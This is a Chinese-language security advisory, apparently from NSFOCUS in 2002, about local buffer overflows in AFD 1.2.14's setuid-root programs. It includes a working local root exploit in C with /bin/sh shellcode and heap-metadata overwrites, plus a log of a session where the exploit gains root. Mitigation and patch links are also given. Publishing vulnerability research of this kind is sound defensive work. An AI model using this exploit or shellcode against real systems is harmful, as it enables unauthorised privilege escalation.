首页 -> 安全研究

安全研究

安全漏洞
AFD多个本地区缓冲区溢出漏洞

发布日期:2002-09-04
更新日期:2002-09-07

受影响系统:
AFD AFD 1.2.14
描述:
Automatic File Distributor可方便快速的通过URL为多人提供任意数量文件的系统。

AFD多个二进制程序在处理命令行或者环境变量时存在问题,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击。

AFD包中包含多个工具以SETUID ROOT属性进行安装,多个程序对用户提供的命令行参数(-w)或者环境变量MON_WORK_DIR数据的缓冲区边界缺少正确的检查,精心构建的超长的数据可以覆盖堆栈返回地址以root用户权限在系统上执行任意指令。

有问题代码如下:

#define MON_WD_ENV_NAME          "MON_WORK_DIR"  /* Environment variable */
    #define WD_ENV_NAME              "AFD_WORK_DIR"  /* The working dir-   */
    ...
    /* work_dir is global in some sources, local in other sources */
    char  work_dir[MAX_PATH_LENGTH];
    ...

    int
    main(int argc, char *argv[])
    {
        ...
        /* work_dir is global in some sources, local in other sources */
        char  work_dir[MAX_PATH_LENGTH];
        ...
        /* might call some other function that then calls this function */
        if (get_XXX_path(&argc, argv, work_dir) < 0)
        {
            exit(INCORRECT);
        }
        ...
    }

    /* the XXX is either 'mon' or 'afd' */
    /* this function is in a无ther file then main() is */
    get_XXX_path(int *argc, char *argv[], char *work_dir)
    {
        ...
        char *ptr;

        /* Check if the environment variable is set */
        /* if ((ptr = getenv(MON_WD_ENV_NAME)) != NULL) <-- can also be this */
        if ((ptr = getenv(WD_ENV_NAME)) != NULL)
        {
            /* !!!!! THIS IS WHERE ALL THE ACTION TAKES PLACE !!!!! */
            (void)strcpy(work_dir, ptr);
        }
        ...
    }

从上我们可以看到work_dir缓冲区可被溢出,根据work_dir是全局还是局部变量可导致基于堆或者栈的缓冲区溢出发生。

下面是受此漏洞影响的程序:

       名称           -w选项             环境变量
    afd           无            是
    afdcmd        无            是
    afd_ctrl      无            是
    init_afd      无            是
    mafd          是            是
    mon_ctrl      是            是
    show_olog         无            是
    udc           无            是

<*来源:Bert Vanmanshoven (sacrine@zworg.com
  
  链接:http://www.netric.org/advisories/netric-adv008.txt
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

[eSDee@/ bin]$ id
    uid=502(eSDee) gid=500(trusted) groups=500(trusted)
    [eSDee@/ bin]$ ./afd-expl
    AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)
    -----------------------------------------------------------------
    Ret    = 0x0806f020
    Retloc = 0xbfffe360
    28 17:32:12 <E> Failed to create directory <?
    --netric--1?1é÷?°FíShn/shh//bi?RSá°
                                      íAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                      AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                      AAAAAAAAAAAAAAAAAAAAAAAAA
    ....
    ectory (check_dir.c 66)
    sh-2.05a# id
    uid=0(root) gid=500(trusted) groups=500(trusted)
    sh-2.05a# exit

Bert Vanmanshoven(sacrine@zworg.com) 提供了如下测试程序:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] =
    "\xeb\x0a" /* 10-byte-jump; setreuid(0,0); execve /bin/sh; exit(0); */
    "--netric--"
    "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
    "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
    "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

int
main(int argc, char *argv[])
{
    char buffer[1135];

    unsigned int retloc     = 0xbfffe360;
    unsigned int ret        = 0x0806f020; /* &shellcode */

    if (argc > 1) retloc    = strtoul(argv[1], &argv[1], 16);
    if (argc > 2) ret    = strtoul(argv[2], &argv[2], 16);

    memset(buffer, 0x41, sizeof(buffer));
    memcpy(buffer, "MON_WORK_DIR=",13);
    memcpy(buffer+13, shellcode, strlen(shellcode));

    buffer[1117] = 0xff; /* prev_size */
    buffer[1118] = 0xff;
    buffer[1119] = 0xff;
    buffer[1120] = 0xff;

    buffer[1121] = 0xfc; /* size field */
    buffer[1122] = 0xff;
    buffer[1123] = 0xff;
    buffer[1124] = 0xff;

    buffer[1126] = (retloc & 0x000000ff); /* FD */
    buffer[1127] = (retloc & 0x0000ff00) >> 8;
    buffer[1128] = (retloc & 0x00ff0000) >> 16;
    buffer[1129] = (retloc & 0xff000000) >> 24;

    buffer[1130] = (ret & 0x000000ff); /* BK */
    buffer[1131] = (ret & 0x0000ff00) >> 8;
    buffer[1132] = (ret & 0x00ff0000) >> 16;
    buffer[1133] = (ret & 0xff000000) >> 24;

    buffer[1134] = 0x0;
    putenv(buffer);

    fprintf(stdout, "AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)\n");
    fprintf(stdout, "-----------------------------------------------------------------\n");
    fprintf(stdout, "Ret    = 0x%08x\n", ret);
    fprintf(stdout, "Retloc = 0x%08x\n", retloc);

    execl("/bin/mon_ctrl", "mon_ctrl", NULL);
    return 0;
}

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 使用chmod u-s命令去掉有漏洞程序的S位。

厂商补丁:

AFD
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

[source] ftp://ftp.dwd.de/pub/afd/src-1.2.15.tar.bz2
[rpm ] ftp://ftp.dwd.de/pub/afd/rpm/afd-1.2.15-2.i386.rpm

下载补丁:

[patch ]  ftp://ftp.dwd.de/pub/afd/patch-1.2.15.bz2

浏览次数:2803
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障